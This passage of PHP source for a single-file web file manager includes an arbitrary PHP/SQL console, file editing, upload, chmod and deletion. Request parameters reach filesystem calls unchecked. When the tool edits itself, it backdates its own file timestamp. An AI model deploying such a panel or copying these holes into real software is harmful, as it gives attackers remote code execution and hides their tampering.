5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC"); } <?php echo fm_home_style(); ?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $url_inc = '?fm=true'; if (isset($_POST['sqlrun']) && !empty($fm_config['enable_sql_console'])) { $res = empty($_POST['sql']) ? '' : $_POST['sql']; $res_lng = 'sql'; } elseif (isset($_POST['phprun']) && !empty($fm_config['enable_php_console'])) { $res = empty($_POST['php']) ? '' : $_POST['php']; $res_lng = 'php'; } if (isset($_GET['fm_settings'])) { echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">' . __('File manager') . ' - ' . __('Settings') . '</th></tr> ' . (empty($msg) ? '' : '<tr><td class="row2" colspan="2">' . $msg . '</td></tr>') . ' ' . fm_config_checkbox_row(__('Show size of the folder'), 'show_dir_size') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('pictures'), 'show_img') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('Make directory'), 'make_directory') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('New file'), 'new_file') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('Upload'), 'upload_file') . ' ' . fm_config_checkbox_row(__('Show') . ' PHP version', 'show_php_ver') . ' ' . fm_config_checkbox_row(__('Show') . ' PHP ini', 'show_php_ini') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('Generation time'), 'show_gt') . ' ' . fm_config_checkbox_row(__('Show') . ' xls', 'show_xls') . ' ' . fm_config_checkbox_row(__('Show') . ' PHP ' . __('Console'), 'enable_php_console') . ' ' . fm_config_checkbox_row(__('Show') . ' SQL ' . __('Console'), 'enable_sql_console') . ' <tr><td class="row1"><input name="fm_config[sql_server]" value="' . $fm_config['sql_server'] . '" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="' . $fm_config['sql_username'] . '" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="' . $fm_config['sql_password'] . '" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="' . $fm_config['sql_db'] . '" type="text"></td><td class="row2 whole">SQL DB</td></tr> ' . fm_config_checkbox_row(__('Show') . ' Proxy', 'enable_proxy') . ' ' . fm_config_checkbox_row(__('Show') . ' phpinfo()', 'show_phpinfo') . ' ' . fm_config_checkbox_row(__('Show') . ' ' . __('Settings'), 'fm_settings') . ' ' . fm_config_checkbox_row(__('Restore file time after editing'), 'restore_time') . ' ' . fm_config_checkbox_row(__('File manager') . ': ' . __('Restore file time after editing'), 'fm_restore_time') . ' <tr><td class="row3"><a href="' . fm_url() . '?fm_settings=true&fm_config_delete=true">' . __('Reset settings') . '</a></td><td class="row3"><input type="submit" value="' . __('Save') . '" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">' . __('Settings') . ' - ' . __('Authorization') . '</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" ' . ($auth['authorize'] ? 'checked' : '') . ' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">' . __('Authorization') . '</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="' . $auth['login'] . '" type="text"></td><td class="row2 whole">' . __('Login') . '</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="' . $auth['password'] . '" type="text"></td><td class="row2 whole">' . __('Password') . '</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="' . $auth['cookie_name'] . '" type="text"></td><td class="row2 whole">' . __('Cookie') . '</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="' . $auth['days_authorization'] . '" type="text"></td><td class="row2 whole">' . __('Days') . '</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">' . $auth['script'] . '</textarea></td><td class="row2 whole">' . __('Script') . '</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="' . __('Save') . '" ></td></tr> </form> </table>'; echo fm_tpl_form('php'), fm_tpl_form('sql'); } elseif (isset($proxy_form)) { die($proxy_form); } elseif (isset($res_lng)) { ?> <table class="whole"> <tr> <th><?php echo __('File manager') . ' - ' . $path; ?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?php echo strtoupper($res_lng); ?> <?php echo __('Console'); if ($res_lng == 'sql') { echo ' - Database: ' . $fm_config['sql_db'] . '</h2></td><td>' . fm_run_input('php'); } else { echo '</h2></td><td>' . fm_run_input('sql'); } ?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?php echo $url_inc . '&path=' . $path; ?>"><?php echo __('Back'); ?></a> <form action="" method="POST" name="console"> <textarea name="<?php echo $res_lng; ?>" cols="80" rows="10" style="width: 90%"><?php echo $res; ?></textarea><br/> <input type="reset" value="<?php echo __('Reset'); ?>"> <input type="submit" value="<?php echo __('Submit'); ?>" name="<?php echo $res_lng; ?>run"> <?php $str_tmpl = $res_lng . '_templates'; $tmpl = !empty(${$str_tmpl}) ? json_decode(${$str_tmpl}, true) : ''; if (!empty($tmpl)) { $active = isset($_POST[$res_lng . '_tpl']) ? $_POST[$res_lng . '_tpl'] : ''; $select = '<select name="' . $res_lng . '_tpl" title="' . __('Template') . '" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\'' . $res_lng . '\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\'' . $res_lng . '\'].value =\'\';" >' . "\n"; $select .= '<option value="-1">' . __('Select') . "</option>\n"; foreach ($tmpl as $key => $value) { $select .= '<option value="' . $value . '" ' . (!empty($value) && $value == $active ? 'selected' : '') . ' >' . __($key) . "</option>\n"; } $select .= "</select>\n"; echo $select; } ?> </form> </td> </tr> </table> <?php if (!empty($res)) { $fun = 'fm_' . $res_lng; echo '<h3>' . strtoupper($res_lng) . ' ' . __('Result') . '</h3><pre>' . $fun($res) . '</pre>'; } } elseif (!empty($_REQUEST['edit'])) { if (!empty($_REQUEST['save'])) { $fn = $path . $_REQUEST['edit']; $filemtime = filemtime($fn); if (file_put_contents($fn, $_REQUEST['newcontent'])) { $msg .= __('File updated'); } else { $msg .= __('Error occurred'); } if ($_GET['edit'] == basename(__FILE__)) { touch(__FILE__, 1415116371); } else { if (!empty($fm_config['restore_time'])) { touch($fn, $filemtime); } } } $oldcontent = @file_get_contents($path . $_REQUEST['edit']); $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?php echo __('File manager') . ' - ' . __('Edit') . ' - ' . $path . $_REQUEST['edit']; ?></th> </tr> <tr> <td class="row1"> <?php echo $msg; ?> </td> </tr> <tr> <td class="row1"> <?php echo fm_home(); ?> <a href="<?php echo $backlink; ?>"><?php echo __('Back'); ?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?php echo $editlink; ?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?php echo htmlspecialchars($oldcontent); ?></textarea> <input type="submit" name="save" value="<?php echo __('Submit'); ?>"> <input type="submit" name="cancel" value="<?php echo __('Cancel'); ?>"> </form> </td> </tr> </table> <?php echo $auth['script']; } elseif (!empty($_REQUEST['rights'])) { if (!empty($_REQUEST['save'])) { if (fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) { $msg .= __('File updated'); } else { $msg .= __('Error occurred'); } } clearstatcache(); $oldrights = fm_rights_string($path . $_REQUEST['rights'], true); $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?php echo __('File manager') . ' - ' . $path; ?></th> </tr> <tr> <td class="row1"> <?php echo $msg; ?> </td> </tr> <tr> <td class="row1"> <a href="<?php echo $backlink; ?>"><?php echo __('Back'); ?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?php echo $link; ?>"> <?php echo __('Rights') . ' - ' . $_REQUEST['rights']; ?> <input type="text" name="rights_val" value="<?php echo $oldrights; ?>"> <?php if (is_dir($path . $_REQUEST['rights'])) { ?> <input type="checkbox" name="recursively" value="1"> <?php echo __('Recursively'); ?><br/> <?php } ?> <input type="submit" name="save" value="<?php echo __('Submit'); ?>"> </form> </td> </tr> </table> <?php } elseif (!empty($_REQUEST['rename']) && $_REQUEST['rename'] != '.') { if (!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg .= __('File updated'); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?php echo __('File manager') . ' - ' . $path; ?></th> </tr> <tr> <td class="row1"> <?php echo $msg; ?> </td> </tr> <tr> <td class="row1"> <a href="<?php echo $backlink; ?>"><?php echo __('Back'); ?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?php echo $link; ?>"> <?php echo __('Rename'); ?>: <input type="text" name="newname" value="<?php echo $_REQUEST['rename']; ?>"><br/> <input type="submit" name="save" value="<?php echo __('Submit'); ?>"> </form> </td> </tr> </table> <?php } else { //Let's rock! $msg = ''; if (!empty($_FILES['upload']) && !empty($fm_config['upload_file'])) { if (!empty($_FILES['upload']['name'])) { $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if (!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])) { $msg .= __('Error occurred'); } else { $msg .= __('Files uploaded') . ': ' . $_FILES['upload']['name']; } } } elseif (!empty($_REQUEST['delete']) && $_REQUEST['delete'] != '.') { if (!fm_del_files($path . $_REQUEST['delete'], true)) { $msg .= __('Error occurred'); } else { $msg .= __('Deleted') . ' ' . $_REQUEST['delete']; } } elseif (!empty($_REQUEST['mkdir']) && !empty($fm_config['make_directory'])) { if (!@mkdir($path . $_REQUEST['dirname'], 0777)) { $msg .= __('Error occurred'); } else { $msg .= __('Created') . ' ' . $_REQUEST['dirname']; } } elseif (!empty($_POST['search_recursive'])) { ini_set('max_execution_time', '0'); $search_data = find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']); if (!empty($search_data)) { $msg .= __('Found in files') . ' (' . count($search_data) . '):<br>'; foreach ($search_data as $filename) { $msg .= '<a href="' . fm_url(true) . '?fm=true&edit=' . basename($filename) . '&path=' . str_replace('/' . basename($filename), '/', $filename) . '" title="' . __('Edit') . '">' . basename($filename) . '</a> '; } } else { $msg .= __('Nothing founded'); } } elseif (!empty($_REQUEST['mkfile']) && !empty($fm_config['new_file'])) { if (!($fp = @fopen($path . $_REQUEST['filename'], "w"))) { $msg .= __('Error occurred'); } else { fclose($fp); $msg .= __('Created') . ' ' . $_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source) . '.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) { $msg .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '. ' . fm_link('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . ' <a href="' . $url_inc . '&delete=' . $destination . '&path=' . $path . '" title="' . __('Delete') . ' ' . $destination . '" >' . __('Delete') . '</a>'; } else { $msg .= __('Error occurred') . ': ' . __('no files'); } } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source . '.tar'; $destination = basename($source) . '.tar'; if (is_file($archive)) { unlink($archive); } if (is_file($archive . '.gz')) { unlink($archive . '.gz'); } clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ, '.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive . '.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '. ' . fm_link('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . ' <a href="' . $url_inc . '&delete=' . $destination . '&path=' . $path . '" title="' . __('Delete') . ' ' . $destination . '" >' . __('Delete') . '</a>'; } else { $msg .= __('Error occurred') . ': ' . __('no files'); } } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source . '.tar'; $destination = basename($source) . '.tar'; if (is_file($archive)) { unlink($archive); } if (is_file($archive . '.gz')) { unlink($archive . '.gz'); } set_time_limit(0); //echo $destination; $ext_arr = explode('.', basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext = implode('.', $ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ, $ext . '.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive . '.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '. ' . fm_link('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . ' <a href="' . $url_inc . '&delete=' . $destination . '&path=' . $path . '" title="' . __('Delete') . ' ' . $destination . '" >' . __('Delete') . '</a>'; } else { $msg .= __('Error occurred') . ': ' . __('no files'); } } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?php echo __('File manager'); echo !empty($path) ? ' - ' . $path : ''; ?></th> </tr> <?php if (!empty($msg)) { ?> <tr> <td colspan="2" class="row2"><?php echo $msg; ?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?php echo fm_home(); ?> </td> <td> <?php if (!empty($fm_config['make_directory'])) { ?> <form method="post" action="<?php echo $url_inc; ?>"> <input type="hidden" name="path" value="<?php echo $path; ?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?php echo __('Make directory'); ?>"> </form> <?php } ?> </td> <td> <?php if (!empty($fm_config['new_file'])) { ?> <form method="post" action="<?php echo $url_inc; ?>"> <input type="hidden" name="path" value="<?php echo $path; ?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?php echo __('New file'); ?>"> </form> <?php } ?> </td> <td> <form method="post" action="<?php echo $url_inc; ?>" style="display:inline"> <input type="hidden" name="path" value="<?php echo $path; ?>" /> <input type="text" placeholder="<?php echo __('Recursive search'); ?>" name="search_recursive" value="<?php echo !empty($_POST['search_recursive']) ? $_POST['search_recursive'] : ''; ?>" size="15"> <input type="text" name="mask" placeholder="<?php echo __('Mask'); ?>" value="<?php echo !empty($_POST['mask']) ? $_POST['mask'] : '*.*'; ?>" size="5"> <input type="submit" name="search" value="<?php echo __('Search'); ?>"> </form> </td> <td> <?php echo fm_run_input('php'); ?> </td> <td> <?php echo fm_run_input('sql'); ?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fm_config['upload_file'])) { ?> <form name="form1" method="post" action="<?php echo $url_inc; ?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?php echo $path; ?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?php echo __('Select the file'); ?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?php echo __('Upload'); ?>" /> </form> <?php } ?> </td> <td> <?php if ($auth['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?php echo __('Hello'); ?>, <?php echo $auth['login']; ?> <input type="submit" value="<?php echo __('Quit'); ?>"> </form> <?php } ?> </td> <td> <?php echo fm_lang_form($language); ?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?php echo __('Filename'); ?> </th> <th style="white-space:nowrap"> <?php echo __('Size'); ?> </th> <th style="white-space:nowrap"> <?php echo __('Date'); ?> </th> <th style="white-space:nowrap"> <?php echo __('Rights'); ?> </th> <th colspan="4" style="white-space:nowrap"> <?php echo __('Manage'); ?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $files = array(); foreach ($elements as $file) { if (@is_dir($path . $file)) { $dirs[] = $file; } else { $files[] = $file; } } natsort($dirs); natsort($files); $elements = array_merge($dirs, $files); foreach ($elements as $file) { $filename = $path . $file; $filedata = @stat($filename); if (@is_dir($filename)) { $filedata[7] = ''; if (!empty($fm_config['show_dir_size']) && !fm_root($file)) { $filedata[7] = fm_dir_size($filename); } $link = '<a href="' . $url_inc . '&path=' . $path . $file . '" title="' . __('Show') . ' ' . $file . '"><span class="folder"> </span> ' . $file . '</a>'; $loadlink = fm_root($file) || $phar_maybe ? '' : fm_link('zip', $filename, __('Compress') . ' zip', __('Archiving') . ' ' . $file); $arlink = fm_root($file) || $phar_maybe ? '' : fm_link('gz', $filename, __('Compress') . ' .tar.gz', __('Archiving') . ' ' . $file); $style = 'row2'; if (!fm_root($file)) { $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?') . '\\n /' . $file . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } else { $alert = ''; } } else { $link = $fm_config['show_img'] && @getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) . '\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="' . fm_img_link($filename) . '"><span class="img"> </span> ' . $file . '</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path . '" title="' . __('Edit') . '"><span class="file"> </span> ' . $file . '</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download', $filename, __('Download'), __('Download') . ' ' . $file); $arlink = in_array($ext, array('zip', 'gz', 'tar')) ? '' : (fm_root($file) || $phar_maybe ? '' : fm_link('gzfile', $filename, __('Compress') . ' .tar.gz', __('Archiving') . ' ' . $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\'' . __('File selected') . ': \\n' . $file . '. \\n' . __('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' ' . $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') . ' ' . $file . '">' . __('Rename') . '</a>'; $rightstext = $file == '.' || $file == '..' ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') . ' ' . $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?php echo $style; ?>"> <td><?php echo $link; ?></td> <td><?php echo $filedata[7]; ?></td> <td style="white-space:nowrap"><?php echo gmdate("Y-m-d H:i:s", $filedata[9]); ?></td> <td><?php echo $rightstext; ?></td> <td><?php echo $deletelink; ?></td> <td><?php echo $renamelink; ?></td> <td><?php echo $loadlink; ?></td> <td><?php echo $arlink; ?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime = explode(' ', microtime()); $totaltime = $mtime[0] + $mtime[1] - $starttime; echo fm_home() . ' | ver. ' . $fm_version . ' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="' . fm_site_url() . '">.</a>'; if (!empty($fm_config['show_php_ver'])) { echo ' | PHP ' . phpversion(); } if (!empty($fm_config['show_php_ini'])) { echo ' | ' . php_ini_loaded_file(); } if (!empty($fm_config['show_gt'])) { echo ' | ' . __('Generation time') . ': ' . round($totaltime, 2); } if (!empty($fm_config['enable_proxy'])) { echo ' | <a href="?proxy=true">proxy</a>'; } if (!empty($fm_config['show_phpinfo'])) { echo ' | <a href="?phpinfo=true">phpinfo</a>'; } if (!empty($fm_config['show_xls']) && !empty($link)) { echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="' . __('Download') . ' xls">xls</a>'; } if (!empty($fm_config['fm_settings'])) { echo ' | <a href="?fm_settings=true">' . __('Settings') . '</a>'; } ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } 